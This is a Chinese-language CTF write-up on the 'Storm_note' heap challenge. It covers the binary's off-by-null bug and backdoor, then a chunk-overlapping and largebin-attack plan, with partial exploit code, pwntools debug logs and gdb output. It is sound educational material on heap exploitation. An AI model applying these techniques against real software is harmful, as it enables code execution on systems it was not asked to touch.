how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
1.题目信息
https://github.com/ble55ing/ctfpwn/blob/master/pwnable/ctf/x64/Storm_note
root@pwn_test1604:/ctf/work/how2heap/西湖论剑Storm_note# chmod +x Storm_note
root@pwn_test1604:/ctf/work/how2heap/西湖论剑Storm_note# gdb ./Storm_note
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./Storm_note...(no debugging symbols found)...done.
pwndbg> r
Starting program: /ctf/work/how2heap/西湖论剑Storm_note/Storm_note
================
== Storm Note ==
== 1. alloc ==
== 2. edit ==
== 3. delete ==
== 4. exit ==
================
Choice:
2.程序分析
2.1 init_proc函数
程序一开始就对进程进行初始化,mallopt(1, 0)
禁用了fastbin,然后通过mmap在0xABCD0000分配了一个页面的可读可写空间,最后往里面写入一个随机数。
2.2 alloc_note函数
首先遍历全局变量note,找到一个没有存放内容的地方保存堆指针。然后限定了申请的堆的大小最多为0xFFFFF,调用calloc函数来分配堆空间,因此返回
前会对分配的堆的内容进行清零。
2.3 edit_note函数
存在一个off_by_null漏洞,在read后v2保存写入的字节数,最后在该偏移处的字节置为0,形成off_by_null。
2.4 delete_note函数
这个函数就是正常free堆指针,并置0。
2.5 backdoor函数
程序提供一个可以直接getshell的后门,触发的条件就是输入的数据与mmap映射的空间的前48个字节相同。
3.利用思路
-
利用off_by_null漏洞实现chunk overlapping,从而控制堆块内容。
-
将处于unsortedbin的可控制的chunk放入largebin中,以便触发largebin attack
-
伪造largebin的bk和bk_nextsize指针,通过malloc触发漏洞,分配到目标地址,实现任意地址写。
-
触发后门
4.调试过程
4.1 Chunk overlapping
4.1.1 首先分配7个chunk
chunk1和chunk4是用于放入largebin的大chunk,chunk6防止top chunk合并。Chunk结构如下。
add(0x18) #0
add(0x508) #1
add(0x18) #2add(0x18) #3
add(0x508) #4
add(0x18) #5
add(0x18) #6
pause()
[DEBUG] Received 0x84 bytes:'Done\n''================\n''== Storm Note ==\n''== 1. alloc ==\n''== 2. edit ==\n''== 3. delete ==\n''== 4. exit ==\n''================\n''Choice: '
[DEBUG] Sent 0x2 bytes:'2\n'
[DEBUG] Received 0x8 bytes:'Index ?\n'
[DEBUG] Sent 0x2 bytes:'4\n'
[DEBUG] Received 0xa bytes:'Content: \n'
[DEBUG] Sent 0x4f8 bytes:00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│*000004f0 00 05 00 00 00 00 00 00 │····│····││000004f8
[*] Paused (press any to continue)pwndbg> c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007f4fc241a260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 in ../sysdeps/unix/syscall-template.S
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0xfffffffffffffe00RBX 0x7f4fc26e78e0 (_IO_2_1_stdin_) ◂— 0xfbad208bRCX 0x7f4fc241a260 (__read_nocancel+7) ◂— cmp rax, -0xfffRDX 0x1RDI 0x0RSI 0x7f4fc26e7963 (_IO_2_1_stdin_+131) ◂— 0x6e9790000000000a /* '\n' */R8 0x7f4fc26e9780 (_IO_stdfile_1_lock) ◂— 0x0R9 0x7f4fc2907700 ◂— 0x7f4fc2907700R10 0x55a6e14011a5 ◂— and eax, 0x6e490064 /* '%d' */R11 0x246R12 0x1R13 0xffffffffffffff98R14 0x7f4fc26e8420 (_nl_global_locale) —▸ 0x7f4fc26e39a0 (_nl_C_LC_CTYPE) —▸ 0x7f4fc24b1997 (_nl_C_name) ◂— add byte ptr [r15 + 0x5f], bl /* 'C' */R15 0x7f4fc26e78e0